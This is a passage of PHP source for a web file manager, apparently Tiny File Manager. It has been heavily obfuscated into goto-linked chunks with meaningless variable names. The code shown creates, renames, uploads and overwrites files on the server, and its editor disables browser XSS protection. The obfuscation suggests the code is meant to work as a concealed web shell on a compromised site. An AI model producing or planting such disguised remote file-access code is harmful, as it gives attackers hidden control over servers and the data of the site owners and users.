U1o6P; CERhp: function fm_is_valid_ext($vvvvv) { $llll = FM_FILE_EXTENSION ? explode(",", FM_FILE_EXTENSION) : false; $mmmm = pathinfo($vvvvv, PATHINFO_EXTENSION); $nnnn = $llll ? in_array($mmmm, $llll) : true; return $nnnn ? true : false; } goto kvw18; lk_t5: ?> 
"id="main-table"><thead class="thead-white"><tr><?php  goto kylaD; y2vr5: if (isset($_GET["logout"])) { unset($_SESSION[FM_SESSION_ID]["logged"]); unset($_SESSION["token"]); fm_redirect(FM_SELF_URL); } goto AstUl; qTJ2q: function fm_convert_win($vvvvv) { if (FM_IS_WIN && function_exists("iconv")) { $vvvvv = iconv(FM_ICONV_INPUT_ENC, "UTF-8//IGNORE", $vvvvv); } return $vvvvv; } goto jzZpf; hAYNN: function fm_show_header() { $qqqqqqqqqqq = "20160315"; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $oo, $s, $dd, $aa; $hhhhhhhhhhh = $dd ? "navbar-fixed" : "navbar-normal"; ?> 
<!doctypehtml><html><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name="viewport"><meta content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"name="description"><meta content="CCP Programmers"name="author"><meta content="noindex, nofollow"name="robots"><meta content="noindex"name="googlebot"><?php  if ($aa) { echo "<link rel="icon" href="" . fm_enc($aa) . "" type="image/png">"; } ?> 
<title><?php  echo fm_enc(APP_TITLE); ?> 
</title><?php  print_external("pre-jsdelivr"); print_external("pre-cloudflare"); print_external("css-bootstrap"); print_external("css-font-awesome"); if (FM_USE_HIGHLIGHTJS && isset($_GET["view"])) { print_external("css-highlightjs"); } ?> 
<script type="text/javascript">window.csrf="<?php  echo $_SESSION["token"]; ?> 
"</script><style>html{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;height:100%;scroll-behavior:smooth}*,::after,::before{box-sizing:border-box}body{font-size:15px;color:#222;background:#f7f7f7}body.navbar-fixed{margin-top:55px}a,a:focus,a:hover,a:visited{text-decoration:none!important}.filename,td,th{white-space:nowrap}.navbar-brand{font-weight:700}.nav-item.avatar a{cursor:pointer;text-transform:capitalize}.nav-item.avatar a>i{font-size:15px}.nav-item.avatar .dropdown-menu a{font-size:13px}#search-addon{font-size:12px;border-right-width:0}.brl-0{background:0 0;border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.brr-0{border-top-right-radius:0;border-bottom-right-radius:0}.bread-crumb{color:#ccc;font-style:normal}#main-table{transition:transform .25s cubic-bezier(.4,.5,0,1),width 0s .25s}#main-table .filename a{color:#222}.table td,.table th{vertical-align:middle!important}.table .custom-checkbox-header .custom-control.custom-checkbox,.table .custom-checkbox-td .custom-control.custom-checkbox{min-width:18px;display:flex;align-items:center;justify-content:center}.table-sm td,.table-sm th{padding:.4rem}.table-bordered td,.table-bordered th{border:1px solid #f1f1f1}.hidden{display:none}pre.with-hljs{padding:0;overflow:hidden}pre.with-hljs code{margin:0;border:0;overflow:scroll}code.maxheight,pre.maxheight{max-height:512px}.fa.fa-caret-right{font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec}.fa.fa-home{font-size:1.3em;vertical-align:bottom}.path{margin-bottom:10px}form.dropzone{min-height:200px;border:2px dashed #007bff;line-height:6rem}.right{text-align:right}.center,.close,.login-form,.preview-img-container{text-align:center}.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}.message.ok{border-color:green;color:green}.message.error{border-color:red;color:red}.message.alert{border-color:orange;color:orange}.preview-img{max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)}.inline-actions>a>i{font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px}.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}.filename{max-width:420px;overflow:hidden;text-overflow:ellipsis}.break-word{word-wrap:break-word;margin-left:30px}.break-word.float-left a{color:#7d7d7d}.break-word+.float-right{padding-right:30px;position:relative}.break-word+.float-right>a{color:#7d7d7d;font-size:1.2em;margin-right:4px}#editor{position:absolute;right:15px;top:100px;bottom:15px;left:15px}@media (max-width:481px){#editor{top:150px}}#normal-editor{border-radius:3px;border-width:2px;padding:10px;outline:0}.btn-2{padding:4px 10px;font-size:small}li.file:before,li.folder:before{font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px}li.folder:before{content:"\f114"}i.fa.fa-folder-o{color:#0157b3}i.fa.fa-picture-o{color:#26b99a}i.fa.fa-file-archive-o{color:#da7d7d}.btn-2 i.fa.fa-file-archive-o{color:inherit}i.fa.fa-css3{color:#f36fa0}i.fa.fa-file-code-o{color:#007bff}i.fa.fa-code{color:#cc4b4c}i.fa.fa-file-text-o{color:#0096e6}i.fa.fa-html5{color:#d75e72}i.fa.fa-file-excel-o{color:#09c55d}i.fa.fa-file-powerpoint-o{color:#f6712e}i.go-back{font-size:1.2em;color:#007bff}.main-nav{padding:.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12),0 2px 4px -1px rgba(0,0,0,.2)}.dataTables_filter{display:none}table.dataTable thead .sorting{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC)}table.dataTable thead .sorting_asc{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==)}table.dataTable thead .sorting_desc{cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=)}table.dataTable thead tr:first-child th.custom-checkbox-header:first-child{background-image:none}.footer-action li{margin-bottom:10px}.app-v-title{font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase}hr.custom-hr{border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff}#snackbar{visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px}#snackbar.show{visibility:visible;-webkit-animation:fadein .5s,fadeout .5s 2.5s;animation:fadein .5s,fadeout .5s 2.5s}@-webkit-keyframes fadein{from{bottom:0;opacity:0}to{bottom:30px;opacity:1}}@keyframes fadein{from{bottom:0;opacity:0}to{bottom:30px;opacity:1}}@-webkit-keyframes fadeout{from{bottom:30px;opacity:1}to{bottom:0;opacity:0}}@keyframes fadeout{from{bottom:30px;opacity:1}to{bottom:0;opacity:0}}#main-table span.badge{border-bottom:2px solid #f8f9fa}#main-table span.badge:nth-child(1){border-color:#df4227}#main-table span.badge:nth-child(2){border-color:#f8b600}#main-table span.badge:nth-child(3){border-color:#00bd60}#main-table span.badge:nth-child(4){border-color:#4581ff}#main-table span.badge:nth-child(5){border-color:#ac68fc}#main-table span.badge:nth-child(6){border-color:#45c3d2}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2){.navbar-collapse .col-xs-6{padding:0}}.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus{outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}.lds-facebook{display:none;position:relative;width:64px;height:64px}.lds-facebook div,.lds-facebook.show-me{display:inline-block}.lds-facebook div{position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite}.lds-facebook div:nth-child(1){left:6px;animation-delay:-.24s}.lds-facebook div:nth-child(2){left:26px;animation-delay:-.12s}.lds-facebook div:nth-child(3){left:45px;animation-delay:0s}@keyframes lds-facebook{0%{top:6px;height:51px}100%,50%{top:19px;height:26px}}ul#search-wrapper{padding-left:0;border:1px solid #ecececcc}ul#search-wrapper li{list-style:none;padding:5px;border-bottom:1px solid #ecececcc}ul#search-wrapper li:nth-child(odd){background:#f9f9f9cc}.c-preview-img{max-width:300px}.border-radius-0{border-radius:0}.float-right{float:right}.table-hover>tbody>tr:hover>td:first-child{border-left:1px solid #1b77fd}#main-table tr.even{background-color:#f8f9fa}.filename>a>i{margin-right:3px}</style><?php  if (FM_THEME == "dark") { ?> 
<style>:root{--bs-bg-opacity:1;--bg-color:#f3daa6;--bs-dark-rgb:28,36,41!important;--bs-bg-opacity:1}.table-dark{--bs-table-bg:28,36,41!important}.btn-primary{--bs-btn-bg:#26566c;--bs-btn-border-color:#26566c}body.theme-dark{background-image:linear-gradient(90deg,#1c2429,#263238);color:#cfd8dc}.list-group .list-group-item{background:#343a40}.break-word,.navbar-nav .dropdown-toggle,.theme-dark .navbar-nav i{color:#cfd8dc}#main-table .filename a,a,a:active,a:hover,a:visited,i.fa.fa-folder-o,i.go-back{color:var(--bg-color)}ul#search-wrapper li:nth-child(odd){background:#212a2f}.theme-dark .btn-outline-primary{color:#b8e59c;border-color:#b8e59c}.theme-dark .btn-outline-primary:active,.theme-dark .btn-outline-primary:hover{background-color:#2d4121}.theme-dark input.form-control{background-color:#101518;color:#cfd8dc}.theme-dark .dropzone{background:0 0}.theme-dark .inline-actions>a>i{background:#79755e}.theme-dark .text-white{color:#cfd8dc!important}.table-bordered th,.theme-dark .table-bordered td{border-color:#343434}.theme-dark .table-bordered td .custom-control-input,.theme-dark .table-bordered th .custom-control-input{opacity:.678}.message{background-color:#212529}.compact-table tr:hover td{background-color:#3d3d3d}#main-table tr.even{background-color:#21292f}form.dropzone{border-color:#79755e}</style><?php  } ?> 
</head><body class="<?php  echo FM_THEME == "dark" ? "theme-dark" : ''; echo $hhhhhhhhhhh; ?> 
"><div class="container-fluid"id="wrapper"><div class="modal fade"id="createNewItem"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"aria-hidden="true"aria-labelledby="newItemModalLabel"><div class="modal-dialog"role="document"><form method="post"class="modal-content<?php  echo fm_get_theme(); ?> 
"><div class="modal-header"><h5 class="modal-title"id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php  echo lng("CreateNewItem"); ?> 
</h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><div class="modal-body"><p><label for="newfile"><?php  echo lng("ItemType"); ?> 
</label></p><div class="form-check form-check-inline"><input name="newfile"name="newfile"type="radio"value="file"id="customRadioInline1"class="form-check-input"> <label for="customRadioInline1"class="form-check-label"><?php  echo lng("File"); ?> 
</label></div><div class="form-check form-check-inline"><input name="newfile"type="radio"value="folder"id="customRadioInline2"class="form-check-input"checked> <label for="customRadioInline2"class="form-check-label"><?php  echo lng("Folder"); ?> 
</label></div><p class="mt-3"><label for="newfilename"><?php  echo lng("ItemName"); ?> 
</label></p><input name="newfilename"value=""id="newfilename"class="form-control"placeholder="<?php  echo lng("Enter here..."); ?> 
"required></div><div class="modal-footer"><input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <button class="btn btn-outline-primary"type="button"data-bs-dismiss="modal"><i class="fa fa-times-circle"></i><?php  echo lng("Cancel"); ?> 
</button> <button class="btn btn-success"type="submit"><i class="fa fa-check-circle"></i><?php  echo lng("CreateNow"); ?> 
</button></div></form></div></div><div class="modal fade"id="searchModal"role="dialog"tabindex="-1"aria-hidden="true"aria-labelledby="searchModalLabel"><div class="modal-dialog modal-lg"role="document"><div class="modal-content<?php  echo fm_get_theme(); ?> 
"><div class="modal-header"><h5 class="modal-title col-10"id="searchModalLabel"><div class="mb-3 input-group"><input id="advanced-search"class="form-control"required placeholder="<?php  echo lng("Search"); echo lng("a files"); ?> 
"aria-label="<?php  echo lng("Search"); ?> 
"aria-describedby="search-addon3"autofocus> <span class="input-group-text"id="search-addon3"><i class="fa fa-search"></i></span></div></h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><div class="modal-body"><form method="post"action=""><div class="lds-facebook"><div></div><div></div><div></div></div><ul id="search-wrapper"><p class="m-2"><?php  echo lng("Search file in folder and subfolders..."); ?> 
</p></ul></form></div></div></div></div><div class="modal modal-alert"id="renameDailog"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"><div class="modal-dialog"role="document"><form method="post"class="modal-content rounded-3 shadow<?php  echo fm_get_theme(); ?> 
"autocomplete="off"><div class="modal-body p-4 text-center"><h5 class="mb-3"><?php  echo lng("Are you sure want to rename?"); ?> 
</h5><p class="mb-1"><input name="rename_to"id="js-rename-to"class="form-control"required placeholder="<?php  echo lng("Enter new file name"); ?> 
"> <input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <input name="rename_from"type="hidden"id="js-rename-from"></p></div><div class="modal-footer flex-nowrap p-0"><button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0 border-end"type="button"data-bs-dismiss="modal"><?php  echo lng("Cancel"); ?> 
</button> <button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0"type="submit"><strong><?php  echo lng("Okay"); ?> 
</strong></button></div></form></div></div><script type="text/html"id="js-tpl-confirm"><div class="modal modal-alert confirmDailog"id="confirmDailog-<%this.id%>"role="dialog"tabindex="-1"data-bs-backdrop="static"data-bs-keyboard="false"><div class="modal-dialog"role="document"><form method="post"action="<%this.action%>"class="modal-content rounded-3 shadow<?php  echo fm_get_theme(); ?> 
"autocomplete="off"><div class="modal-body p-4 text-center"><h5 class="mb-2"><?php  echo lng("Are you sure want to"); ?> 
<%this.title%>?</h5><p class="mb-1"><%this.content%></p></div><div class="modal-footer flex-nowrap p-0"><button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0 border-end"type="button"data-bs-dismiss="modal"><?php  echo lng("Cancel"); ?> 
</button> <input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <button class="btn btn-link text-decoration-none btn-lg col-6 fs-6 m-0 rounded-0"type="submit"data-bs-dismiss="modal"><strong><?php  echo lng("Okay"); ?> 
</strong></button></div></form></div></div></script><?php  } goto cNQxl; F9Hga: $bb = array(); goto sgUZr; QYvDj: if (isset($_POST["newfilename"], $_POST["newfile"], $_POST["token"]) && !FM_READONLY) { $vvvv = urldecode($_POST["newfile"]); $wwww = str_replace("/", '', fm_clean_path(strip_tags($_POST["newfilename"]))); if (fm_isvalid_filename($wwww) && $wwww != '' && $wwww != ".." && $wwww != "." && verifyToken($_POST["token"])) { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } if ($vvvv == "file") { if (!file_exists($iii . "/" . $wwww)) { if (fm_is_valid_ext($wwww)) { @fopen($iii . "/" . $wwww, "w") or die("Cannot open file:  " . $wwww); fm_set_msg(sprintf(lng("File") . " <b>%s</b> " . lng("Created"), fm_enc($wwww))); } else { fm_set_msg(lng("File extension is not allowed"), "error"); } } else { fm_set_msg(sprintf(lng("File") . " <b>%s</b> " . lng("already exists"), fm_enc($wwww)), "alert"); } } else { if (fm_mkdir($iii . "/" . $wwww, false) === true) { fm_set_msg(sprintf(lng("Folder") . " <b>%s</b> " . lng("Created"), $wwww)); } elseif (fm_mkdir($iii . "/" . $wwww, false) === $iii . "/" . $wwww) { fm_set_msg(sprintf(lng("Folder") . " <b>%s</b> " . lng("already exists"), fm_enc($wwww)), "alert"); } else { fm_set_msg(sprintf(lng("Folder") . " <b>%s</b> " . lng("not created"), fm_enc($wwww)), "error"); } } } else { fm_set_msg(lng("Invalid characters in file or folder name"), "error"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto LKB5D; sghW7: $tttttt = array_slice(explode("/", $iii), -1)[0]; goto E8o0A; rejtV: $qqqqqq = fm_get_parent_path(FM_PATH); goto N60RJ; B3ds2: defined("FM_EXCLUDE_ITEMS") || define("FM_EXCLUDE_ITEMS", version_compare(PHP_VERSION, "7.0.0", "<") ? serialize($bb) : $bb); goto JJJea; REulX: $lllll = array(); goto sghW7; E8o0A: if (is_array($rrrrrr) && fm_is_exclude_items($tttttt)) { foreach ($rrrrrr as $ww) { if ($ww == "." || $ww == "..") { continue; } if (!FM_SHOW_HIDDEN && substr($ww, 0, 1) === ".") { continue; } $eeeeee = $iii . "/" . $ww; if (@is_file($eeeeee) && fm_is_exclude_items($ww)) { $lllll[] = $ww; } elseif (@is_dir($eeeeee) && $ww != "." && $ww != ".." && fm_is_exclude_items($ww)) { $ssssss[] = $ww; } } } goto oK61h; bJ0qN: function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]["message"])) { $ppppppppppp = isset($_SESSION[FM_SESSION_ID]["status"]) ? $_SESSION[FM_SESSION_ID]["status"] : "ok"; echo "<p class="message " . $ppppppppppp . "">" . $_SESSION[FM_SESSION_ID]["message"] . "</p>"; unset($_SESSION[FM_SESSION_ID]["message"]); unset($_SESSION[FM_SESSION_ID]["status"]); } } goto SL0gk; JJJea: defined("FM_DOC_VIEWER") || define("FM_DOC_VIEWER", $cc); goto Ffukt; UKnPa: $ff = 2000000; goto EEtYp; HYp6y: $_POST = strpos($fff, "ajax") != FALSE && strpos($fff, "save") != FALSE ? json_decode($fff, true) : $_POST; goto sIw4i; Oer20: if (is_readable($mm)) { @(include $mm); } goto SrLk7; jtXVu: if (!isset($_GET["p"]) && empty($_FILES)) { fm_redirect(FM_SELF_URL . "?p="); } goto Zlyyq; lrpek: function fm_set_msg($vv, $ffffffffff = "ok") { $_SESSION[FM_SESSION_ID]["message"] = $vv; $_SESSION[FM_SESSION_ID]["status"] = $ffffffffff; } goto vrtR6; kvw18: function fm_rename($nnnnn, $wwww) { $nnnn = fm_is_valid_ext($wwww); if (!is_dir($nnnnn)) { if (!$nnnn) { return false; } } return !file_exists($wwww) && file_exists($nnnnn) ? rename($nnnnn, $wwww) : null; } goto RReJw; L80s9: echo lng("Modified"); goto LRolc; fw0Wq: function fm_show_nav_path($iii) { global $oo, $dd, $yyyyyyy; $hhhhhhhhhhh = $dd ? "fixed-top" : ''; $iiiiiiiiiii = fm_get_theme(); $iiiiiiiiiii .= " navbar-light"; if (FM_THEME == "dark") { $iiiiiiiiiii .= " navbar-dark"; } else { $iiiiiiiiiii .= " bg-white"; } ?> 
<nav class="navbar navbar-expand-lg<?php  echo $iiiiiiiiiii; ?> 
mb-4 main-nav<?php  echo $hhhhhhhhhhh; ?> 
"><a class="navbar-brand"><?php  echo lng("AppTitle"); ?> 
</a><button class="navbar-toggler"type="button"aria-label="Toggle navigation"aria-controls="navbarSupportedContent"aria-expanded="false"data-bs-target="#navbarSupportedContent"data-bs-toggle="collapse"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse"id="navbarSupportedContent"><?php  $iii = fm_clean_path($iii); $s = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>"; $jjjjjjjjjjj = "<i class="bread-crumb"> / </i>"; if ($iii != '') { $kkkkkkkkkkk = explode("/", $iii); $lllllllllll = count($kkkkkkkkkkk); $hhhhhhhhh = array(); $qqqqqq = ''; for ($mmmmmmmmmmm = 0; $mmmmmmmmmmm < $lllllllllll; $mmmmmmmmmmm++) { $qqqqqq = trim($qqqqqq . "/" . $kkkkkkkkkkk[$mmmmmmmmmmm], "/"); $nnnnnnnnnnn = urlencode($qqqqqq); $hhhhhhhhh[] = "<a href='?p={$nnnnnnnnnnn}'>" . fm_enc(fm_convert_win($kkkkkkkkkkk[$mmmmmmmmmmm])) . "</a>"; } $s .= $jjjjjjjjjjj . implode($jjjjjjjjjjj, $hhhhhhhhh); } echo "<div class="col-xs-6 col-sm-5">" . $s . $yyyyyyy . "</div>"; ?> 
<div class="col-sm-7 col-xs-6"><ul class="navbar-nav justify-content-end<?php  echo fm_get_theme(); ?> 
"><li class="nav-item mr-2"><div class="input-group input-group-sm mr-1"style="margin-top:4px"><input id="search-addon"class="form-control"placeholder="<?php  echo lng("Filter"); ?> 
"aria-label="<?php  echo lng("Search"); ?> 
"aria-describedby="search-addon2"><div class="input-group-append"><span class="input-group-text brl-0 brr-0"id="search-addon2"><i class="fa fa-search"></i></span></div><div class="btn-group input-group-append"><span class="input-group-text brl-0 dropdown-toggle"aria-expanded="false"aria-haspopup="true"data-bs-toggle="dropdown"></span><div class="dropdown-menu dropdown-menu-right"><a href="<?php  echo $ooooooooooo = $iii ? $iii : "."; ?> 
"class="dropdown-item"data-bs-target="#searchModal"data-bs-toggle="modal"id="js-search-modal"><?php  echo lng("Advanced Search"); ?> 
</a></div></div></div></li><?php  if (!FM_READONLY) { ?> 
<li class="nav-item"><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&upload"class="nav-link"title="<?php  echo lng("Upload"); ?> 
"><i class="fa fa-cloud-upload"aria-hidden="true"></i><?php  echo lng("Upload"); ?> 
</a></li><li class="nav-item"><a href="#createNewItem"class="nav-link"title="<?php  echo lng("NewItem"); ?> 
"data-bs-target="#createNewItem"data-bs-toggle="modal"><i class="fa fa-plus-square"></i><?php  echo lng("NewItem"); ?> 
</a></li><?php  } if (FM_USE_AUTH) { ?> 
<li class="nav-item avatar dropdown"><a class="nav-link dropdown-toggle"data-bs-toggle="dropdown"id="navbarDropdownMenuLink-5"aria-expanded="false"aria-haspopup="true"><i class="fa fa-user-circle"></i><?php  if (isset($_SESSION[FM_SESSION_ID]["logged"])) { echo $_SESSION[FM_SESSION_ID]["logged"]; } ?> 
</a><div class="dropdown-menu text-small shadow<?php  echo fm_get_theme(); ?> 
"aria-labelledby="navbarDropdownMenuLink-5"><?php  if (!FM_READONLY) { ?> 
<a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&settings=1"class="nav-link dropdown-item"title="<?php  echo lng("Settings"); ?> 
"><i class="fa fa-cog"aria-hidden="true"></i><?php  echo lng("Settings"); ?> 
</a><?php  } ?> 
<a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&help=2"class="nav-link dropdown-item"title="<?php  echo lng("Help"); ?> 
"><i class="fa fa-exclamation-circle"aria-hidden="true"></i><?php  echo lng("Help"); ?> 
</a><a href="?logout=1"class="nav-link dropdown-item"title="<?php  echo lng("Logout"); ?> 
"><i class="fa fa-sign-out"aria-hidden="true"></i><?php  echo lng("Logout"); ?> 
</a></div></li><?php  } else { if (!FM_READONLY) { ?> 
<li class="nav-item"><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
&settings=1"class="nav-link dropdown-item"title="<?php  echo lng("Settings"); ?> 
"><i class="fa fa-cog"aria-hidden="true"></i><?php  echo lng("Settings"); ?> 
</a></li><?php  } } ?> 
</ul></div></div></nav><?php  } goto bJ0qN; Jn7TB: $yy = isset($_SERVER["HTTPS"]) && ($_SERVER["HTTPS"] == "on" || $_SERVER["HTTPS"] == 1) || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https"; goto oNXhl; z0mOd: if (isset($_GET["edit"]) && !FM_READONLY) { $ww = $_GET["edit"]; $ww = fm_clean_path($ww, false); $ww = str_replace("/", '', $ww); if ($ww == '' || !is_file($iii . "/" . $ww) || in_array($ww, $GLOBALS["exclude_items"])) { fm_set_msg(lng("File not found"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } $yyyyyyy = " : <i><b>" . $ww . "</b></i>"; header("X-XSS-Protection:0"); fm_show_header(); fm_show_nav_path(FM_PATH); $bbbbbbb = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? "/" . FM_PATH : '') . "/" . $ww); $kkk = $iii . "/" . $ww; $zzzzzzz = true; if (isset($_GET["env"])) { if ($_GET["env"] == "ace") { $zzzzzzz = false; } } if (isset($_POST["savedata"])) { $lll = $_POST["savedata"]; $mmm = fopen($kkk, "w"); @fwrite($mmm, $lll); fclose($mmm); fm_set_msg(lng("File Saved Successfully")); } $mmmm = strtolower(pathinfo($kkk, PATHINFO_EXTENSION)); $ccccccc = fm_get_mime_type($kkk); $eeeeeee = filesize($kkk); $kkkkkkk = false; $ooooooo = ''; if (in_array($mmmm, fm_get_text_exts()) || substr($ccccccc, 0, 4) == "text" || in_array($ccccccc, fm_get_text_mimes())) { $kkkkkkk = true; $ooooooo = file_get_contents($kkk); } ?> 
<div class="path"><div class="row"><div class="col-xs-12 col-lg-6 pt-1 col-sm-5"><div class="btn-toolbar"role="toolbar"><?php  if (!$zzzzzzz) { ?> 
<div class="btn-group js-ace-toolbar"><button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("Fullscreen"); ?> 
"data-cmd="none"id="js-ace-fullscreen"data-option="fullscreen"><i class="fa fa-expand"title="<?php  echo lng("Fullscreen"); ?> 
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("Search"); ?> 
"data-cmd="find"id="js-ace-search"><i class="fa fa-search"title="<?php  echo lng("Search"); ?> 
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("Undo"); ?> 
"data-cmd="undo"id="js-ace-undo"><i class="fa fa-undo"title="<?php  echo lng("Undo"); ?> 
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("Redo"); ?> 
"data-cmd="redo"id="js-ace-redo"><i class="fa fa-repeat"title="<?php  echo lng("Redo"); ?> 
"></i></button> <button class="btn btn-sm btn-outline-secondary"title="<?php  echo lng("Word Wrap"); ?> 
"data-cmd="none"id="js-ace-wordWrap"data-option="wrap"><i class="fa fa-text-width"title="<?php  echo lng("Word Wrap"); ?> 
"></i></button> <select class="d-none border-start-0 btn-outline-secondary d-md-block"id="js-ace-mode"data-type="mode"title="<?php  echo lng("Select Document Type"); ?> 
"><option>--<?php  echo lng("Select Mode"); ?> 
--</option></select> <select class="d-none border-start-0 btn-outline-secondary d-lg-block"id="js-ace-theme"data-type="theme"title="<?php  echo lng("Select Theme"); ?> 
"><option>--<?php  echo lng("Select Theme"); ?> 
--</option></select> <select class="d-none border-start-0 btn-outline-secondary d-lg-block"id="js-ace-fontSize"data-type="fontSize"title="<?php  echo lng("Select Font Size"); ?> 
"><option>--<?php  echo lng("Select Font Size"); ?> 
--</option></select></div><?php  } ?> 
</div></div><div class="col-xs-12 col-lg-6 pt-1 col-sm-7 edit-file-actions text-end"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?> 
&view=<?php  echo urlencode($ww); ?> 
"class="btn btn-outline-primary btn-sm"title="<?php  echo lng("Back"); ?> 
"><i class="fa fa-reply-all"></i><?php  echo lng("Back"); ?> 
</a><a href="javascript:void(0);"class="btn btn-outline-primary btn-sm"title="<?php  echo lng("BackUp"); ?> 
"onclick='backup("<?php  echo urlencode(trim(FM_PATH)); ?> 
","<?php  echo urlencode($ww); ?> 
")'><i class="fa fa-database"></i><?php  echo lng("BackUp"); ?> 
</a><?php  if ($kkkkkkk) { if ($zzzzzzz) { ?> 
<a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?> 
&edit=<?php  echo urlencode($ww); ?> 
&env=ace"class="btn btn-outline-primary btn-sm"title="Advanced"><i class="fa fa-pencil-square-o"></i><?php  echo lng("AdvancedEditor"); ?> 
</a><button class="btn btn-sm btn-success"type="button"data-url="<?php  echo fm_enc($bbbbbbb); ?> 
"name="Save"onclick='edit_save(this,"nrl")'><i class="fa fa-floppy-o"></i> Save</button><?php  } else { ?> 
<a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?> 
&edit=<?php  echo urlencode($ww); ?> 
"class="btn btn-outline-primary btn-sm"title="Plain Editor"><i class="fa fa-text-height"></i><?php  echo lng("NormalEditor"); ?> 
</a><button class="btn btn-sm btn-success"type="button"data-url="<?php  echo fm_enc($bbbbbbb); ?> 
"name="Save"onclick='edit_save(this,"ace")'><i class="fa fa-floppy-o"></i><?php  echo lng("Save"); ?> 
</button><?php  } } ?> 
